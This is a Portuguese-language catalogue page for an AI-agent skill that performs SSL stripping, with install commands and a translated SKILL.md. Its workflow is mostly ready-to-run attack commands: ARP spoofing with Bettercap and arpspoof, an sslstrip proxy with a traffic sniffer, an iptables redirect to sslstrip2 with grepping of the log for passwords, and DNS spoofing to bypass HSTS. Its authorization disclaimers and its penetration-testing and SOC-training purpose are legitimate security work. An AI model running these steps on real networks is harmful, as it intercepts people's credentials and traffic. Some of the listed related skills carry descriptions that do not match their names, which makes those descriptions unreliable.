performing-ssl-stripping-attack
Faz seu agente simular ataques de 'SSL stripping' em ambientes de teste. Isso verifica se sites forçam o uso de HTTPS e se os certificados estão corretos.
O que ela faz
Simula um ataque que força sites a usar a versão insegura (HTTP) em vez da segura (HTTPS). Isso é feito em ambientes controlados para testar a segurança de sites.
Quando usar
- ✓Testar se sites forçam o uso de HTTPS.
- ✓Verificar se a configuração de segurança HSTS está correta.
- ✓Demonstrar riscos de segurança para outras pessoas.
Exemplo do que pedir para a IA
“Simule um ataque de 'SSL stripping' no site de teste de login.”
Quer saber mais? Abra as seções abaixo.
Como usar
O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.
Link da skill
Mensagem pronta para colar
Como funciona
O ataque intercepta a comunicação e substitui links seguros (HTTPS) por links inseguros (HTTP). Ele força o navegador a se conectar via HTTP, mesmo que o site tente redirecionar para HTTPS.
Instalação
Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.
No terminal (Claude Code, Codex, Cursor), na pasta do projeto:
npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill performing-ssl-stripping-attackOu baixe só o arquivo:
curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/performing-ssl-stripping-attack/SKILL.md -o SKILL.mdConteúdo técnico (SKILL.md)
Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.
Realizando Ataque de SSL Stripping
Quando Usar
- Testar se aplicações web aplicam corretamente o HTTPS através de cabeçalhos HSTS e cadeias de redirecionamento.
- Validar se o pré-carregamento HSTS está configurado corretamente e registrado nas listas de pré-carregamento do navegador.
- Demonstrar o risco do HTTP em texto claro para stakeholders durante avaliações de segurança autorizadas.
- Avaliar se aplicações internas e clientes "thick" validam certificados TLS e rejeitam downgrades.
- Treinar equipes de SOC para detectar indicadores de SSL stripping no tráfego de rede.
Não use contra redes ou aplicações sem autorização escrita explícita, para interceptar credenciais reais de usuários, ou contra sistemas de produção durante o horário comercial sem aprovação de gerenciamento de mudanças.
Pré-requisitos
- Autorização escrita especificando aplicações no escopo e técnicas de ataque aprovadas.
- Bettercap 2.x ou sslstrip2 instalado na máquina do atacante.
- ARP spoofing ou outra posição de MITM estabelecida (veja a habilidade de ARP spoofing).
- Encaminhamento de IP habilitado na máquina do atacante.
- Wireshark para verificar o sucesso do ataque e capturar evidências.
- Contas de teste (não credenciais reais de usuários) para demonstrar a interceptação de credenciais.
Aviso Legal: Esta habilidade é apenas para testes de segurança autorizados e fins educacionais. O uso não autorizado contra sistemas que você não possui ou para os quais não tem permissão escrita para testar é ilegal e pode violar leis de fraude computacional.
Fluxo de Trabalho
Passo 1: Estabelecer Posição de MITM
# Enable IP forwarding
sudo sysctl -w net.ipv4.ip_forward=1
# Position via ARP spoofing using Bettercap
sudo bettercap -iface eth0 -eval "set arp.spoof.targets 192.168.1.50; arp.spoof on"
# Alternatively, use arpspoof from dsniff
sudo arpspoof -i eth0 -t 192.168.1.50 -r 192.168.1.1 &
Passo 2: Executar SSL Stripping com Bettercap
# Start Bettercap with SSL stripping
sudo bettercap -iface eth0
# Enable ARP spoofing
> set arp.spoof.targets 192.168.1.50
> set arp.spoof.fullduplex true
> arp.spoof on
# Enable HTTP proxy with SSL stripping
> set http.proxy.sslstrip true
> set http.proxy.port 8080
> http.proxy on
# Enable network sniffer for credential capture
> set net.sniff.verbose true
> net.sniff on
# Watch for intercepted HTTP traffic (was HTTPS)
# Bettercap will show credentials and URLs in real-time
Passo 3: Executar SSL Stripping com sslstrip2
# Configure iptables to redirect HTTP traffic through sslstrip
sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
# Start sslstrip
sudo sslstrip2 -l 10000 -w sslstrip_log.txt
# In another terminal, monitor the log for intercepted credentials
tail -f sslstrip_log.txt | grep -i "pass\|user\|login\|email"
# sslstrip works by:
# 1. Intercepting HTTP responses containing HTTPS links
# 2. Replacing https:// with http:// in the response
# 3. Maintaining HTTPS connection to the real server
# 4. Serving downgraded HTTP to the victim
Passo 4: Testar Técnicas de Bypass de HSTS
# Check if target has HSTS header
curl -sI https://target-app.example.com | grep -i strict-transport-security
# Check if target is on the HSTS preload list
curl -s "https://hstspreload.org/api/v2/status?domain=example.com" | python3 -m json.tool
# Test HSTS bypass via subdomain substitution
# sslstrip2 can replace URLs with similar-looking HTTP alternatives:
# https://accounts.google.com -> http://accounts.google.com (fails if HSTS)
# https://accounts.google.com -> http://accounts.google.com. (trailing dot bypass attempt)
# Bettercap HSTS bypass with DNS spoofing
sudo bettercap -iface eth0
> set arp.spoof.targets 192.168.1.50
> arp.spoof on
> set dns.spoof.domains target-app.example.com
> set dns.spoof.address 192.168.1.99
> dns.spoof on
> set http.proxy.sslstrip true
> http.proxy on
# For applications not on HSTS preload, clear HSTS cache in test browser:
# Chrome: chrome://net-internals/#hsts -> Delete domain security policies
# Firefox: Clear recent history -> Active Logins (resets HSTS)
Passo 5: Validar Detecção e Controles
# Verificar da perspectiva da vítima:
# 1. A barra de endereço do navegador deve mostrar http:// em vez de https://
# 2. Nenhum ícone de cadeado visível
# 3. Se o HSTS for eficaz, o navegador deve mostrar um erro e recusar a conexão
# Capturar evidências do downgrade
tshark -i eth0 -f "host 192.168.1.50 and port 80" \
-T fields -e frame.time -e ip.src -e ip.dst -e http.host -e http.request.uri \
-Y "http.request" > ssl_strip_evidence.txt
…
Perguntas frequentes
Posso usar isso em qualquer site?
Não, só em ambientes de teste autorizados e com permissão explícita. Usar sem permissão é ilegal.
O que é HSTS?
HSTS é uma regra de segurança que diz ao navegador para sempre usar HTTPS em um site específico, tornando o 'SSL stripping' mais difícil.
O que é 'SSL stripping'?
É um tipo de ataque onde o invasor força uma conexão segura (HTTPS) a se tornar insegura (HTTP), permitindo que ele veja os dados.
Detalhes
Descrição original do autor
Simulates SSL stripping / HTTPS downgrade attacks using sslstrip, Bettercap, and mitmproxy in authorized lab environments to test HSTS enforcement, certificate validation, and HTTPS upgrade mechanisms. Use when performing an authorized penetration test to validate HSTS preloading and TLS certificate handling, demonstrate downgrade-attack risk to stakeholders, or train SOC teams to detect SSL strip
Popularidade
- Estrelas no GitHub
- 35 mil
- Posição no ranking
- #6148
- Licença
- Apache-2.0
- Atualizada em
- 31/08/2026
Comentários
- …
Mais skills deste repositório
abusing-dpapi-for-credential-access
Dá ao seu agente de IA instruções prontas para uma tarefa específica, para ele fazer melhor e mais rápido.
mukul975/Anthropic-Cybersecurity-Skills
abusing-shadow-credentials-for-privesc
Ensina seu agente de IA a escrever textos claros e bem estruturados.
mukul975/Anthropic-Cybersecurity-Skills
achieving-cmmc-level-2-compliance
Ajuda seu agente a preparar um ambiente para conformidade com CMMC Nível 2. Ele implementa requisitos de segurança e gerencia a documentação necessária.
mukul975/Anthropic-Cybersecurity-Skills
acquiring-disk-image-with-dd-and-dcfldd
Ajuda seu agente a criar cópias exatas de discos rígidos. Isso é útil para garantir que nenhuma informação seja perdida ou alterada durante investigações.
mukul975/Anthropic-Cybersecurity-Skills
Skills parecidas
django-security
Ajuda seu agente a implementar práticas de segurança em aplicações Django. Ele foca em autenticação, autorização e prevenção contra ataques comuns, garantindo um código mais seguro.
affaan-m/ECC
laravel-security
Ajuda seu agente a proteger aplicações Laravel contra ameaças. Implementa práticas de segurança para autenticação, autorização e prevenção de ataques comuns.
affaan-m/ECC
module-regression
Ajuda seu agente a gerenciar mudanças em projetos grandes. Garante que alterações em uma parte do código não quebrem outras partes.
affaan-m/ECC